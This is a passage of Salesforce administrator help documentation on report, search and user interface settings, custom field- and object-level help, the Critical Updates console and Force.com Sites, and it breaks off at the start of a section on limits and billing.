Administrators for existing organizations must manually enable this upgrade. New organizations automatically get the latest version of report builder. If you don't see the Report Builder Upgrade section, the upgrade has already been enabled for your organization. Important: Upgrading does not affect any of your existing reports. However, once you upgrade, you can't return to the old report wizard. To enable report builder for all users: 1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings. 2. Review the Report Builder Upgrade section of the page and click Enable. 3. Confirm your choice by clicking Yes, Enable Report Builder for All Users.

See Also:
Customizing Report and Dashboard User Interface Settings

1474

Customize

Customizing Report and Dashboard Email Settings

Customizing Report and Dashboard Email Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify report and dashboard settings: Customize Application

To change your organization's report and dashboard email settings: 1. Click Your Name > Setup > Customize > Reports & Dashboards > Email Settings. 2. Select or deselect the following checkboxes to modify the settings for your organization: Use Images Compatible with Lotus Notes in Dashboard Emails Dashboard refresh notifications can be sent to specified users when a scheduled dashboard refresh completes. By default, Salesforce sends images in dashboard emails as .png (Portable Network Graphic) files, which are not supported in Lotus Notes. When you enable the Use Images Compatible with Lotus Notes in Dashboard Emails option, Salesforce uses .jpg images, which Lotus Notes supports, when sending dashboard emails. The Schedule Dashboard permission is required to view this option. Note: Dashboard emails that contain images compatible with Lotus Notes are substantially larger and the image quality may be lower.

Allow Reports and Dashboards to Be Sent to Portal Users This option, disabled by default, is available to Enterprise and Unlimited Edition organizations that have a Customer Portal or partner portal set up. Unless enabled, only internal Salesforce users can receive reports and dashboard refresh notifications. If you enable this option, all internal and portal users specified as recipients receive reports and dashboards. 3. Click Save.

See Also:
Customizing Report and Dashboard Settings Enabling Mobile Dashboards for iPad Users

Customizing Search Settings

1475

Customize

Customizing Search Settings

Available in: All Editions except Database.com

User Permissions Needed To modify search settings: Customize Application

To change your organization's search settings: 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. Modify the search settings for your organization. 3. Click Save.

Search Settings
The search settings are: Enable Drop-Down List for Sidebar Search The drop-down list for Sidebar Search allows you to limit users' searches by object. When you select Enable Drop-Down List for Sidebar Search, a drop-down list appears in the Search section. From this list users can select to search within tags, within a specific object, or across all objects. Enable Limit to Items I Own Search Checkbox The Limit to Items I Own checkbox allows your users to include only records for which they are the record owner when entering search queries in the sidebar. Note: The Limit to Items I Own checkbox that appears in Advanced Search is always available to users, regardless of this setting.

Enable Document Content Search Enabling Document Content Search allows you to perform a full-text search of a document. When a new document is uploaded or an old one is replaced, its contents are available as search terms to retrieve the document. Enable Search Optimization if your Content is Mostly in Japanese, Chinese, or Korean Enabling this checkbox optimizes search for the Japanese, Chinese, and Korean languages. It affects Sidebar Search and the account search for Find Duplicates on a lead record in Sidebar Search and Global Search. Enable this option if users are searching mostly in Japanese, Chinese, or Korean, and if the text in searchable fields is mostly in those languages. Do not check this option if you expect content and searches to be mostly in other languages. Use Recently Viewed User Records for Blank and Auto-Complete Lookups If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is taken from the user's recently viewed user records. This setting applies only to user object lookups and not to lookups for other objects. If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization. Enable Sidebar Search Auto-Complete If this setting is enabled, when users start typing search terms, Sidebar Search displays a matching list of recently viewed records.

1476

Customize

Customizing User Interface Settings

Note: Global Search includes auto-complete and doesn't require a search setting.

Enable Single-Search-Result Shortcut If this setting is enabled, users skip the search results page and go directly to the record's detail page when their search returns only a single item. This setting doesn't apply to tags, case comments (in advanced search), and Global Search. If the search result is a single tag, case comment, or item in Global Search, the search results page still appears. Number of Search Results Displayed Per Object The Number of Search Results Displayed Per Object area allows you to configure the number of items that are returned for each object in the Search Results page. The current setting is in parentheses next to each object. To make changes, select one or more objects, enter the new number of results per page, and click Save. The new value must be between 5 and 50. Lookup Settings The Lookup Settings area allows you to enable enhanced lookups and lookup auto-completion for account, contact, user, and any custom object lookups.

Customizing User Interface Settings


The available user interface settings vary according to which Salesforce Edition you have.

User Permissions Needed To modify user interface settings: Customize Application

To change your organization's user interface settings: 1. Click Your Name > Setup > Customize > User Interface. 2. Select or deselect each checkbox to modify the user interface settings for your organization. 3. Click Save.

User Interface Settings


Enable Collapsible Sections Collapsible sections give users the option to collapse or expand sections on their record detail pages using the arrow icon next to the section heading. When enabling collapsible sections, make sure your section headings are displayed for each page layout. Sections remain expanded or collapsed until the user changes his or her settings for that tab. If your organization has enabled record types, Salesforce remembers a different setting for each record type. Note: Call center users won't see incoming calls if they collapse the sidebar.

1477

Customize

Customizing User Interface Settings

Show Quick Create The Quick Create area on a tab home page allows users to create a new record quickly with minimal information. It displays, by default, on the tab home pages for leads, accounts, contacts, forecasts, and opportunities. You can control whether the Quick Create area is displayed on all relevant tab home pages. Note: The Show Quick Create setting also affects whether or not users can create new records from within the lookup dialog. For example, with the setting enabled, users can create a new account within the account lookup dialog while creating or editing a contact. Creating new records in the lookup dialog is available only if Quick Create is available for your chosen record type. In addition, users always need the appropriate Create permission to use Quick Create even though it will be displayed for all users. Enable Hover Details Hover details display an interactive overlay containing detailed information about a record when users hover the mouse over a link to that record in the Recent Items list on the sidebar or in a lookup field on a record detail page. Users can quickly view information about a record before clicking View for the record's detail page or Edit for the edit page. The fields displayed in the hover details are determined by the record's mini page layout. The fields that display in document hover details are not customizable. This option is enabled by default. Note: To view the hover details for a record, users must have the appropriate sharing access to that record, as well as the necessary field-level security for the fields in the mini page layout.

Enable Related List Hover Links Related list hover links display at the top of record detail pages and custom object detail pages in Setup. Users can hover the mouse over a related list hover link to display the corresponding related list and its number of records in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump down to the content of the related list without having to scroll down the page. The Enable Related List Hover Links checkbox is the default selection. Enable Separate Loading of Related Lists Select this option to enable the separate loading of record detail pages: primary record details load first, followed by related list data. When you enable this option, users see primary record details immediately; as related list data loads, users see a progress indicator. Separate loading can improve performance on record detail pages for organizations with large numbers of related lists. This option is disabled by default. Note that this option does not apply to Visualforce pages, user pages, the self-service portal, or other pages for which you cannot control the layout. Enable Inline Editing Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the record's edit page first. This option is enabled by default and applies to all users in your organization. Enable Enhanced Lists Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. When enabled with the Enable Inline Editing setting, users can also edit records directly from the list, without navigating away from the page. This option is enabled by default. Note: This doesn't enable enhanced lists for profiles. Select Enable Enhanced Profile List Views under Setup.

1478

Customize

Customizing User Interface Settings

Enable New User Interface Theme Note: Starting with Summer '10, new organizations have the new user interface theme enabled by default.

The new user interface theme updates the look and feel of Salesforce and moves user links, such as Setup and Logout, under the user name for all users in your organization. The new user interface theme is not supported in Portals, Console tab, or Help & Training. Only users with supported browsers see the new user interface theme. Enable Printable List Views Printable list views allow users to easily print list views. If enabled, users can click the Printable View link from any list view to open a new browser window, displaying the current list view in a simple, print-ready format. The link is located next to the Help for this Page link in the colored title bar of the page. Enable Spell Checker Available in all Editions. If this option is selected, the Check Spelling button appears in certain areas of the application where text is entered, such as sending an email, or when creating events, tasks, cases, notes, and solutions. Clicking the button checks the spelling of your text. Spell Checker does not support all the languages that Salesforce supports. For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported. Enable Spell Checker on Tasks and Events Available in all Editions. Select this checkbox to enable the Check Spelling button when users create or edit tasks or events. The spell checker analyzes the Description field on events and the Comments field on tasks.

Sidebar Settings
Enable Collapsible Sidebar The collapsible sidebar gives users the ability to show or hide the sidebar on every page that normally includes the sidebar. When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes available to all users in your organization, but each user can choose his or her own preference for displaying the sidebar. Users can leave the sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking the edge of the collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page 56. Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so you always have access to the Divisions drop-down list.

Show Custom Sidebar Components on All Pages If you have custom home page layouts that include components in the sidebar, this option makes the sidebar components available on all pages for all users in your organization. If you only want certain users to view sidebar components on all pages, grant those user the Show Custom Sidebar On All Pages permission. Note: If the Show Custom Sidebar Components on All Pages user interface setting is selected, the Show Customer Sidebar On All Pages permission is not available.

1479

Customize

Customizing User Interface Settings

Calendar Settings
Enable Home Page Hover Links for Events Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views. The fields available in the event detail and edit overlays are defined in a mini page layout. Note: If you create all day events, we recommend adding the All Day Event field to the events mini page layout.

Enable Drag-and-Drop Editing on Calendar Views Select this checkbox to enable the dragging of events on single user daily and weekly calendar views. This allows users to reschedule events without leaving the page. This option is enabled by default. Note the following: Calendar views might load less quickly when this checkbox is enabled. Drag-and-drop editing is not available for calendar views in the Console tab. Drag-and-drop editing is not available for multiday events.

Enable Click-and-Create Events on Calendar Views Select this checkbox to enable users to create events on day and weekly calendar views by double-clicking a specific time slot and entering the details of the event in an interactive overlay. The fields available in the event detail and edit overlays are defined in a mini page layout. Note that recurring events and multi-person events are not supported for click-and-create events on calendar views. Enable Drag-and-Drop Scheduling on List Views Select this checkbox to enable users to create events associated with records by dragging records from list views on to weekly calendar views and entering the details of the event in an interactive overlay. This option is disabled by default. The fields available in the event detail and edit overlays are defined in a mini page layout. Enable Hover Links for My Tasks List Select this checkbox to enable hover links for tasks in the My Tasks section of the Home tab and on the calendar day view. This option is enabled by default. Users can hover the mouse over the subject of a task to see the details of that task in an interactive overlay. The information presented on these overlays is configured by your administrator.

Setup Settings
Enable Enhanced Page Layout Editor Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that contains all of the functionality of the original page layout editor as well as several improvements. Enable Enhanced Profile List Views Select this checkbox to activate enhanced list views on the profiles list page. To enable inline editing in enhanced profile list views, select Enable Enhanced Lists as well as this checkbox. With inline editing in enhanced profile list views, you can manage multiple profiles at once.

1480

Customize

Custom Help Overview

Enable Enhanced Profile User Interface Select this checkbox to activate the enhanced profile user interface, which allows you to easily navigate, search, and modify settings for a single profile.

Advanced Settings
Activate Extended Mail Merge Select this checkbox to activate Extended Mail Merge for your organization. When selected, the Mass Mail Merge link is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail merges requested from the Activity History related list on a record are performed using Extended Mail Merge functionality. For more information on using Salesforce to generate personalized form letters and other documents based on templates, see Mail Merge Overview on page 2515. Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this feature. Always save Extended Mail Merge documents to the Documents tab When this checkbox is selected, all mail merge documents generated using Extended Mail Merge are added to the user's personal documents folder on the Documents tab, rather than delivered as email attachments. Users are sent confirmation emails when their mail merge requests have completed. Those emails include links for retrieving generated documents from the Documents tab. Note that these documents count against your organization's storage limits.

See Also:
Creating Records Using the Create New Drop-Down List

CUSTOM HELP
Custom Help Overview
Available in: All Editions except Database.com

The Help & Training link at the top of every page opens the Salesforce Help & Training window which includes online help topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a context-sensitive online help topic that describes that page. Salesforce custom help functionality allows you to augment these standard help features with information on using fields and functionality unique to your organization or the Force.com AppExchange app you are developing. Custom help allows you to: Override the standard Salesforce context-sensitive online help topics for your custom objects using object-level help

1481

Customize

Getting Started with Field-Level Help

Add field-level help that displays when users hover their mouse over a field

See Also:
Defining Field-Level Help Getting Started with Field-Level Help Defining Object-Level Help Getting Started with Object-Level Help Creating Custom Fields

FIELD-LEVEL HELP
Getting Started with Field-Level Help
Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field. Before you begin defining field-level help, review these implementation tips and best practices. Implementation Tips Field-level help is enabled by default for all editions. Field-level help is not available for some standard fields, including fields on the User object, system read only fields, auto-number fields, multi-currency fields, Salesforce CRM Ideas fields, and Community fields. The help text for a field is automatically added to a package when you add the associated field to any Force.com AppExchange package. In a managed package, the help text is locked to the developer, giving installers full capabilities to change it.

Best Practices Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct help text that defines the field's purpose, such as:
The maximum discount allowed for this account.

Provide information in your help text about the attributes of the field, such as:
A detailed description of the purpose for the expense report. Up to 32 KB of data are allowed. Only the first 255 characters display in reports.

Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer, for example, 4PLT (for level-four platinum pricing).

1482

Customize

Defining Field-Level Help

If your organization uses more than one language, provide translations for your Help Text using the Translation Workbench.

See Also:
Custom Help Overview Defining Field-Level Help Creating Custom Fields

Defining Field-Level Help


Available in: All Editions except Database.com

User Permissions Needed To define or change field-level help: Customize Application

Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field. To define field-level help: 1. Select the field for which you want to define custom help text: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click Edit next to the field. 3. In the Help Text field, enter the text you want displayed when a user hovers the mouse over the Info icon that appears adjacent to the field on a detail or edit page. You can enter up to 255 characters. 4. Click Save.

See Also:
Custom Help Overview Getting Started with Field-Level Help Creating Custom Fields

1483

Customize

Getting Started with Object-Level Help

OBJECT-LEVEL HELP
Getting Started with Object-Level Help
Object-level help gives you the power to override the Salesforce Help for this Page links for any custom object with your custom help content contained in a Visualforce page or an s-control. The Help & Training link at the top of any page always opens the Salesforce Help & Training window, yet every Help for this Page link on your custom object pages opens the content in the s-control you select. Your users can access this content from the custom object home (overview), detail, and edit pages as well as any list views and related lists. Before you begin defining object-level help text for your custom objects, review these implementation tips and best practices. Implementation Tips Object-level help is available for all custom objects in the Salesforce editions that support custom objects. For maximum functionality and ease of development, use Visualforce pages rather than s-controls. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom controller. You cannot use a standard controller or a standard list controller. When creating an s-control to use for your object-level help, select HTML or URL: For an HTML s-control, write your help content directly into the s-control body using HTML markup. For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help content, or it can be a relative path to a static resource that contains your help content. . If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help Settings for that object. In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.

Best Practices The window that displays your object-level help has the same height and width dimensions as the standard Salesforce Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help content. To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.

1484

Customize

Defining Object-Level Help

Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other functions to make the experience more personalized. For example, you can design the custom help to address the user directly by adding the user's name to the help page when it is displayed.

See Also:
Custom Help Overview Defining Object-Level Help

Defining Object-Level Help


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define or change object-level help: Customize Application

Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control. Object-level help becomes available to all your users instantly. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. To define object-level help for custom objects: 1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content. For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard controllers and standard list controllers cannot be used with pages that display object-level help. For an HTML s-control, write your help content directly into the s-control body using HTML markup. For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help content, or it can be a relative path to a static resource that contains your help content.

2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these custom object records. 3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from the Context-Sensitive Help Setting. 4. Select the Visualforce page or s-control that contains your help content. 5. Click Save.

1485

Customize

Replacing Salesforce Online Help

Tip: You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a user to a PDF: 1. Upload the PDF as a static resource named customhelp. 2. Create the following page:
<apex:page sidebar="false" showHeader="false" standardStylesheets="false" action="{!URLFOR($Resource.customhelp)}"> </apex:page>

Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect properly. Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.

See Also:
Custom Help Overview Getting Started with Object-Level Help

Replacing Salesforce Online Help


Organizations that have renamed standard tabs, objects, fields, and other related user interface labels can also replace the Salesforce online help with another URL. Users can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages will continue to display Salesforce online help. 1. Click Your Name > Setup > Customize > Tab Names and Labels > Help Settings. 2. Enter the complete URL for your help file that you would like to replace the Salesforce online help. 3. Click Save.

Notes about Replacing Online Help


When you replace the Salesforce online help with your own help file, the Help & Training link still displays Salesforce online help but the Help for this Page links on all pages other than within Administration Setup are no longer context-sensitive. That is, your help file will open at the same place regardless of which page the user is viewing when they click the link. You can make your help context-sensitive by taking advantage of the context-specific parameters that are passed with each help link. For example, the help link from the Opportunities tab home page is constructed as follows (without any linebreaks):
http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp &target=opp_overview.htm&section=Opportunities

The values of the target and section parameters are unique for every page within the application. You can parse these parameters to display context-sensitive help content for your users.

1486

Critical Updates Console

Critical Updates Overview

If your online help file is compatible with the Web browser on your users' mobile devices, you can contact salesforce.com to enable a custom URL for the online help in Salesforce Mobile. If you enable a mobile help URL, the Help link in the mobile application launches the custom help URL instead of the Salesforce Mobile online help. Don't deploy customized mobile help without testing it thoroughly on all the device models carried by your users. Even if all of your users have the same type of mobile device, the experience can vary widely depending on which operating system version is installed on the device.

CRITICAL UPDATES CONSOLE


Critical Updates Overview
Available in: All Editions

User Permissions Needed To view critical updates: To activate critical updates: View Setup Modify All Data and Customize Application

Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce, but may affect your existing customizations. When these updates become available, Salesforce lists them at Your Name > Setup > Critical Updates, sends a notification email to administrators, and displays a message when administrators click Your Name > Setup. To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as necessary. The opt-in period ends on the auto-activation date, at which time Salesforce permanently activates the update. Caution: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your production environment during off-peak hours. To manage critical updates, click Your Name > Setup > Critical Updates. From this page, you can: View the summary, status, and auto-activation date for any update that Salesforce has not permanently activated. Click Review to view the detail page of any update that Salesforce has not permanently activated. The details include a list of the customizations in your organization that the update might affect and the activation history, which lists each time the update was activated and deactivated. Click Activate to activate any inactive update. Click Deactivate to deactivate any active update that Salesforce has not permanently activated.

Notes on Critical Updates


Salesforce analyzes your organization to determine if a critical update potentially affects your customizations. If your customizations are not affected, Salesforce automatically activates the update in your organization, and the update does not appear when you click Your Name > Setup > Critical Updates.

1487

Critical Updates Console

Winter '10 Critical Updates

On the scheduled auto-activation date, Salesforce permanently activates the update. After auto-activation, you cannot deactivate the update. Each update detail page has its own online help topic that contains important information and examples to help you understand how your customizations might be affected and how you can correct any unintended functionality. Salesforce displays a message the first time you access the setup menu after a critical update becomes available. The message lets you choose to have Salesforce display the updates immediately or remind you about the updates later. You can also choose to have Salesforce neither display the updates nor remind you. If you choose this option, Salesforce will not display the message again until another new update is available.

See Also:
Winter '10 Critical Updates

Winter '10 Critical Updates


Available in: All Editions except Database.com

User Permissions Needed To view critical updates: To activate critical updates: View Setup Modify All Data and Customize Application

Winter '10 features one critical update: New Campaign Member Creation BehaviorEnables Salesforce to evaluate triggers, validation rules, and workflow rules when you create campaign members using: the Lead Import Wizard the Campaign Update Wizard Web-to-Lead the Campaign field when creating or cloning a lead

For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?

See Also:
Critical Updates Overview

What is the Winter '10 New Campaign Member Creation Behavior Update?

1488

Critical Updates Console

Winter '10 Critical Updates

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Winter '10 New Campaign Member Creation Behavior update: View Setup

To activate the Winter '10 New Campaign Member Creation Customize Application Behavior update: AND Modify All Data

The Winter '10 New Campaign Member Creation Behavior update enables Salesforce to evaluate triggers, validation rules, and workflow rules when you create campaign members using: the Lead Import Wizard the Campaign Update Wizard Web-to-Lead the Campaign field when creating or cloning a lead

Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom fields. For example, you can now map Attended? and # Questions Asked fields in an import file to campaign member custom fields called Attended? and # Questions Asked. When you activate this update, you have the option to run workflow and map campaign member custom fields when you create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you can now define the Campaign Member Status on a per-row basis. If you deactivate this update, Salesforce does not evaluate the triggers, validation rules, and workflow rules for campaign members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when creating or cloning a lead, and you can't map import fields to campaign member custom fields. Important: This critical update changes the behavior of campaign members created using the campaign member wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features may behave differently when you activate this update, for example: Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work because campaign members are created after leads. If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign members will not be inserted. Apex triggers that result in leads being converted before being added to a campaign, for example, an after insert trigger, result in a campaign member with only contact fields populated. These records are not included in the campaign's converted lead count.

If your organization has any of these customizations, read the examples to understand how you might be affected and how you can correct unintended functionality.

1489

Critical Updates Console

Winter '10 Critical Updates

Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules regardless of how they are created. and the quality of your data is improved. Important: Activation of this update impacts campaign member records in the user interface, API, and desktop clients, such as Connect for Outlook. The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it. If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update an unlimited number of times.

Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update: 1. Click Your Name > Setup > Critical Updates. 2. Click Review next to the New Campaign Member Creation Behavior update. The Critical Update detail page displays feature customizations that may be affected by activating the update. 3. Determine if activating the update will cause unintended functionality, and if so, modify your customizations. 4. Click Activate. 5. Optionally, enter comments and click Activate. Comments appear in the activation history.

Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update: 1. 2. 3. 4. Click Your Name > Setup > Critical Updates. Click Review next to the New Campaign Member Creation Behavior update. Click Deactivate. Optionally, enter comments and click Deactivate. Comments appear in the activation history.

New Campaign Member Creation Behavior Examples


Workflow Rule Example Let's say you use the Lead Import Wizard to add members to a campaign named Newsletter. You have a workflow rule that emails a newsletter to members added to this campaign. Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is evaluated for imported members and the newsletters are sent. Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import Wizard and the newsletters aren't sent.

1490

Force.com Sites

Force.com Sites Overview

Apex Trigger Example Assume there's an Apex trigger on campaign members that updates the Number Attended campaign custom field when members with the Attended status are added to the Webinar campaign. You want to use the Campaign Update Wizard to update the status for members of this campaign. Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and the Number Attended campaign custom field is updated. Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and the Number Attended campaign custom field isn't updated.

Validation Rule Example Imagine there's a campaign member validation rule that requires users to select a custom field called RSVP-Yes if the members status is RSVP-Yes. Update activated: Campaign members imported with the status RSVP-Yes must also have the RSVP-Yes field in the import file set to TRUE, or they aren't created. Update deactivated: You can import campaign members with the status RSVP-Yes, regardless of the RSVP-Yes custom field value.

Campaign Member Custom Field Example You want to map import fields called Attended? and # Questions Asked to campaign member custom fields of the same names. Update activated: You can map these import fields during import to campaign member custom fields called Attended? and # Questions Asked. Update deactivated: You cannot map these import fields to campaign member custom fields.

FORCE.COM SITES
Force.com Sites Overview
Available in: Developer, Enterprise, and Unlimited Editions

Salesforce organizations contain valuable information about partners, solutions, products, users, ideas, and other business data. Some of this information would be useful to people outside your organization, but only users with the right access and permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server, create custom Web pages (JSP, PHP, or other), and perform API integration between your site and your organization. Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation. With Force.com sites, you no longer have to do any of those things. Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username and password. You can publicly expose any information stored in your organization through a branded URL of your choice. You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on Force.com

1491

Force.com Sites

Force.com Sites Overview

servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation on collected information is performed automatically. You can also enable users to register for or log in to an associated portal seamlessly from your public site. Note: Force.com Sites is subject to these additional Terms of Use.

The following examples illustrate a few ways that you can use sites: Create an ideas siteUse sites to host a public community forum for sharing and voting on ideas about your company, services, or products. Ideas websites can be made public using sites. Publish a support FAQProvide helpful information on a public website where customers can search for solutions to their issues. Create a store locator toolAdd a public tool to your portal that helps customers find stores in their area. Publish an employee directoryAdd an employee directory to your company's intranet by creating a site restricted by IP range. Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes online. Publish a catalog of productsList all of your company's products on a public website, with model numbers, current prices, and product images pulled dynamically from your organization.

Because Force.com sites are served directly from the Salesforce organization, a site's availability is directly related to the organization's availability. During your organization's maintenance window for major releases, your sites will be unavailable; users who try to access a site will see a Force.com-branded maintenance page or your custom Service Not Available Page. It's a good idea to inform your site users of the release maintenance windows and related sites unavailability in advance. You can view specific maintenance windows, listed by instance, at trust.salesforce.com/trust/status/#maint.

The Force.com Domain


For each of your sites, you determine the URL of the site by establishing the site's domain name. You can choose one of the following domain options: Use your Force.com domain name, which is your unique subdomain prefix plus force.com. For example, if you choose mycompany as your subdomain prefix, your domain name would be http://www.mycompany.force.com. The name is case-sensitive. Note: Your Force.com domain name is used for all the sites that you create. For example, your company could create one public site for partners, another for developers, and a third for support. If your company's domain is http://www.mycompany.force.com, those three sites might have the following URLs: http://mycompany.force.com/partners http://mycompany.force.com/developers http://mycompany.force.com/support Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become available on the Internet. Custom Web addresses aren't supported for sandbox or Developer Edition organizations. Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance name is na1, and the sandbox instance name is cs1:

1492

Force.com Sites

Force.com Sites Considerations

Organization Type Developer Edition Sandbox Production

Secure URL
https://mycompany-developer-edition.na1.force.com https://mycompany.mysandbox.cs1.force.com https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login Settings page.

See Also:
Force.com Sites Considerations Setting Up Force.com Sites Managing Force.com Sites Registering a Custom Force.com Domain Creating and Editing Force.com Sites Configuring Force.com Sites Force.com Sites Limits and Billing Reporting on Force.com Sites Tracking Your Force.com Site with Google Analytics About Syndication Feeds Ideas Overview Administrator setup guide: Force.com Sites Implementation Guide

Force.com Sites Considerations


Available in: Developer, Enterprise, and Unlimited Editions

Before creating and using Force.com sites, consider the following: Packaging The following apply to packaging for sites: Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components for a site using a managed package. You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or Apex classes that refer to a site.

Access and Authentication You can grant Read and Create permissions on all standard objects except products, price books, and ideas; and Read, Create, Edit, and Delete on all custom objects. For additional access, you must authenticate site visitors as portal users. Custom authentication is not supported. You can authenticate via the following:

1493

Force.com Sites

Force.com Sites Limits and Billing

Customer Portalsenable public login and registration Partner portalscreate partner users Tip: You can also enable single sign-on for portals, as well as Sites.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Caching Force.com Sites Pages Force.com Sites Limits and Billing Viewing 24-Hour Force.com Sites Usage History Setting Up Your Customer Portal

Force.com Sites Limits and Billing


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid exceeding these limits. This topic contains the following sections: Limits and Billing Terminology Sites Limits and Restrictions Billing and Monthly Page Views Enforcement What Counts as a Page View?

Limits and Billing Terminology


